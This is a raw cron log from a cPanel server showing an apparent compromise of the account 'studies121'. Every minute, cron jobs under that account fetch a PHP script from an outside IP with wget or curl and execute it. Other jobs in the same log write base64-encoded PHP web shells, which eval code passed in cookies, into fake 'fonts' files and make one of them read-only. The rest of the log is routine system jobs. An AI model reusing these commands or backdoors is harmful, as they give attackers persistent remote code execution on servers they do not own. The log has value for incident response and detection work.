Sep  6 11:26:01 ip-184-168-122-23 CROND[7631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:26:01 ip-184-168-122-23 CROND[7634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:27:01 ip-184-168-122-23 CROND[8063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:27:01 ip-184-168-122-23 CROND[8065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:27:01 ip-184-168-122-23 CROND[8066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:27:01 ip-184-168-122-23 CROND[8067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:28:01 ip-184-168-122-23 CROND[8470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:28:01 ip-184-168-122-23 CROND[8471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:28:01 ip-184-168-122-23 CROND[8472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:28:01 ip-184-168-122-23 CROND[8475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:28:01 ip-184-168-122-23 CROND[8473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:29:01 ip-184-168-122-23 CROND[8957]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:29:01 ip-184-168-122-23 CROND[8959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:29:01 ip-184-168-122-23 CROND[8961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:29:01 ip-184-168-122-23 CROND[8960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:30:01 ip-184-168-122-23 CROND[9444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:30:01 ip-184-168-122-23 CROND[9445]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:30:01 ip-184-168-122-23 CROND[9448]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:30:01 ip-184-168-122-23 CROND[9449]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:30:01 ip-184-168-122-23 CROND[9451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:30:01 ip-184-168-122-23 CROND[9450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:30:01 ip-184-168-122-23 CROND[9452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:30:01 ip-184-168-122-23 CROND[9454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:31:01 ip-184-168-122-23 CROND[9867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:31:01 ip-184-168-122-23 CROND[9870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:31:01 ip-184-168-122-23 CROND[9868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:31:01 ip-184-168-122-23 CROND[9869]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 11:31:01 ip-184-168-122-23 CROND[9871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:32:01 ip-184-168-122-23 CROND[10268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:32:01 ip-184-168-122-23 CROND[10271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:32:01 ip-184-168-122-23 CROND[10272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:32:01 ip-184-168-122-23 CROND[10270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:32:01 ip-184-168-122-23 CROND[10273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:33:01 ip-184-168-122-23 CROND[10631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:33:01 ip-184-168-122-23 CROND[10633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:33:01 ip-184-168-122-23 CROND[10634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:33:01 ip-184-168-122-23 CROND[10635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:34:01 ip-184-168-122-23 CROND[10952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:34:01 ip-184-168-122-23 CROND[10954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:34:01 ip-184-168-122-23 CROND[10956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:34:01 ip-184-168-122-23 CROND[10955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:34:01 ip-184-168-122-23 CROND[10957]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:35:01 ip-184-168-122-23 CROND[11290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:35:01 ip-184-168-122-23 CROND[11291]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 11:35:01 ip-184-168-122-23 CROND[11293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:35:01 ip-184-168-122-23 CROND[11297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:35:01 ip-184-168-122-23 CROND[11295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:35:01 ip-184-168-122-23 CROND[11299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:35:01 ip-184-168-122-23 CROND[11298]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 11:35:01 ip-184-168-122-23 CROND[11294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:36:01 ip-184-168-122-23 CROND[11689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:36:01 ip-184-168-122-23 CROND[11691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:36:01 ip-184-168-122-23 CROND[11692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:36:01 ip-184-168-122-23 CROND[11693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:36:01 ip-184-168-122-23 CROND[11694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:37:01 ip-184-168-122-23 CROND[12108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:37:01 ip-184-168-122-23 CROND[12107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:37:01 ip-184-168-122-23 CROND[12110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:37:01 ip-184-168-122-23 CROND[12109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:38:01 ip-184-168-122-23 CROND[12439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 11:38:01 ip-184-168-122-23 CROND[12440]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 11:38:01 ip-184-168-122-23 CROND[12442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:38:01 ip-184-168-122-23 CROND[12443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 11:38:01 ip-184-168-122-23 CROND[12444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
